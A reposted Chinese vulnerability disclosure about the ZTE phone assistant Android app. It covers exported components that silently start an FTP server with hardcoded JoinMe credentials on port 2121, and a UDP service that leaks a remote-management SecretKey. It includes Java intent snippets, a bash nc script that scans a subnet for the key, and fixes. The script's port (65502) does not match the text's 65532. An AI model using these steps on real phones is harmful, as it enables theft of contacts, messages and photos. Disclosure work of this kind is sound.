中兴手机助手本地提权与WIFI远程管理的认证机制绕过

技术 作者:站内编辑 2015-03-02 02:00:20
简要描述: 包括两个漏洞: (1)组件暴露,导致本地提权和远程访问 (2)远程管理认证机制绕过 详细说明: 中兴手机助手是中兴官方的安卓智能手机管理软件,官方下载地址为http://joinme.ztems.com/,我们测试的安卓版本为最新版2.1.66.3224,百度搜索显示下载量已有86万,不知中兴手机是否内置该应用。 包括两个漏洞: 第一个漏洞:本地组件暴露导致提权,只要用户安装中兴手机助手,无需任何权限的本地恶意应用就可在用户不知情的情况下启动供远程访问的FTP服务,且该FTP服务具有默认的用户名和密码。 暴露的两个安卓组件分别为 com.joinme.ftp.FtpServerService和JoinMeServiceReceiver。通过如下代码, code 区域 m_testbutton1=(Button)findViewById(R.id.BySvc); m_testbutton1.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // TODO Auto-generated method stub Intent i = new Intent(); i.setAction("com.joinme.ftp.FtpServerService"); startService(i); } }); 或者 code 区域 m_testbutton2=(Button)findViewById(R.id.ByReceiver); m_testbutton2.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // TODO Auto-generated method stub Intent i = new Intent(); i.setAction("android.intent.action.JoinMe_Ftp_Server_Service_Start"); sendBroadcast(i); } }); 之一即可启动手机助手内置的FTP服务。 正常情况下启用服务需要用户干预,如图 normal_start 在用户不知情的情况下开启服务(只需要手机安装中兴手机助手) user-unware FTP服务还具有内置的默认用户名和密码,并在端口2121监听。如下图,见位于 FtpServerService中的代码片段。 加载FTP服务设置 load-ftpsetting 跟入Defaults类,得到默认username、password为JoinMe,port为2121 defaul-pwd 第二个漏洞:在手机助手后台运行的情况下,泄露SecretKey,导致可在WIFI环境远程控制手机 在分析第一个漏洞的时候,发现了第二个漏洞,与这个漏洞相比,上一个漏洞简直不算啥。 漏洞位于 JoinMeUdpService,该服务打开udp的65532端口监听,接收特定的命令字后可返回手机的敏感信息,包括SecretKey 如图,JoinMeUdpService的doListen方法 doListen 跟入doComm,可发现特定的命令为“JoinMe Broadcast” cmd 漏洞证明: 第一个漏洞的证明: 利用默认用户名和密码远程访问FTP服务,非root条件下可浏览、下载/sdcard等目录中的文件。 ftpaccess 该FTP服务支持的命令 ftp_support 第二个漏洞的证明: query-secretkey 注意上面的SecretKey,就是中兴手机助手PC端管理手机的验证码。当手机助手在后台运行的情况下,可在PC端通过验证码完全管理手机,获得所有通信录、短信、照片及应用信息,并具有手机助手所有的添加、删改权限!! remote-connect remote-access 比较有杀伤力的场景是在公共WIFI场所,在用户手机助手运行的情况下,通过以下脚本可以扫描获得SecretKey,并利用PC端进行远控! scan.sh code 区域 #!/bin/bash network="192.168.1" for address in $(seq 1 254) do echo ${network}.${address} echo -n "JoinMe Broadcast" | nc -w 2 -u ${network}.${address} 65502 done 扫描结果 scanresult PC端远控相应手机 batch-control 修复方案: 针对漏洞一: 设置com.joinme.ftp.FtpServerService、 JoinMeServiceReceiver为exported:false,或者设置自定义权限,并将保护级别设为signature。FTP服务的用户名和密码,不要硬编码在代码中,可以设置在配置文件中读取。或者由用户在PC端手机助手临时指定。 针对漏洞二:禁用远程回显SecretKey 转载自:http://www.wooyun.org/bugs/wooyun-2015-094537 作者:小荷才露尖尖角

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接